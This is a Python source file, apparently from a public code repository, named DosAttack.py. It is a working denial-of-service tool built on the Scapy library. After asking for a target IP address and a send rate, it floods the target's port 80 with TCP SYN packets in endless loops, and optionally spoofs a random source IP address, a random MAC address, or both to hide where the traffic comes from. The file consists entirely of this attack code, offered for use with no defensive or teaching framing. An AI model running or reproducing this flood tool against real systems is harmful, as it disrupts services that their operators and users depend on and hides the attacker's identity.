-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDosAttack.py
126 lines (114 loc) · 5.01 KB
/
DosAttack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from scapy.all import *
from scapy.layers.inet import IP, TCP
from scapy.layers.l2 import Ether
def randomip():
ip = ""
for i in range(3):
n = random.randint(0, 255)
ip = ip + str(n) + "."
n = random.randint(0, 255)
ip = ip + str(n)
return ip
def randommac():
Mac = "00:24:81:"
for i in range(2):
n = random.randint(10,99)
Mac = Mac + str(n) + ":"
n = random.randint(10, 99)
Mac = Mac + str(n)
return Mac
def randomport():
return random.randint(1024, 65000)
mode = int(input("This program launch a DOS attack on a specific target\nEnter 1 to have nothing spoofed\nEnter 2 to "
"spoof "
"your IP\nEnter 3 to spoof your MAC Address\nEnter 4 to spoof your MAC Address and IP\n"))
if mode == 1:
destIP = input("Enter the IP address of the target")
T = input(
"Enter 1T for 1 packet each 0.01sec\nEnter 2T for 1 packet each 0.1 sec\nEnter 3T for 1 packet each 1 "
"sec\nEnter 4T for 1 packet each 5 sec\n")
if T == "1T":
while True:
sendp(Ether() / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'), inter=0.01)
elif T == "2T":
while True:
sendp(Ether() / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'), inter=0.1)
elif T == "3T":
while True:
sendp(Ether() / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'), inter=1)
elif T == "4T":
while True:
sendp(Ether() / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'), inter=5)
else:
print("There is no such speed")
elif mode == 2:
destIP = input("Enter the IP address of the target")
T = input(
"Enter 1T for 1 packet each 0.01sec\nEnter 2T for 1 packet each 0.1 sec\nEnter 3T for 1 packet each 1 "
"sec\nEnter 4T for 1 packet each 5 sec\n")
if T == "1T":
while True:
sendp(Ether() / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=0.01)
elif T == "2T":
while True:
sendp(Ether() / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=0.1)
elif T == "3T":
while True:
sendp(Ether() / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=1)
elif T == "4T":
while True:
sendp(Ether() / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=5)
else:
print("There is no such speed")
elif mode == 3:
destIP = input("Enter the IP address of the target")
T = input(
"Enter 1T for 1 packet each 0.01sec\nEnter 2T for 1 packet each 0.1 sec\nEnter 3T for 1 packet each 1 "
"sec\nEnter 4T for 1 packet each 5 sec\n")
if T == "1T":
while True:
sendp(Ether(src=randommac()) / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=0.01)
elif T == "2T":
while True:
sendp(Ether(src=randommac()) / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=0.1)
elif T == "3T":
while True:
sendp(Ether(src=randommac()) / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=1)
elif T == "4T":
while True:
sendp(Ether(src=randommac()) / IP(dst=destIP) / TCP(sport=randomport(), dport=80, flags='S'),
inter=5)
else:
print("There is no such speed")
elif mode == 4:
destIP = input("Enter the IP address of the target")
T = input(
"Enter 1T for 1 packet each 0.01sec\nEnter 2T for 1 packet each 0.1 sec\nEnter 3T for 1 packet each 1 "
"sec\nEnter 4T for 1 packet each 5 sec\n")
if T == "1T":
while True:
sendp(Ether(src=randommac()) / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80,
flags='S'), inter=0.01)
elif T == "2T":
while True:
sendp(Ether(src=randommac()) / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80,
flags='S'), inter=0.1)
elif T == "3T":
while True:
sendp(Ether(src=randommac()) / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80,
flags='S'), inter=1)
elif T == "4T":
while True:
sendp(Ether(src=randommac()) / IP(src=randomip(), dst=destIP) / TCP(sport=randomport(), dport=80,
flags='S'), inter=5)
else:
print("There is no such speed")
else:
print("There is no such menu")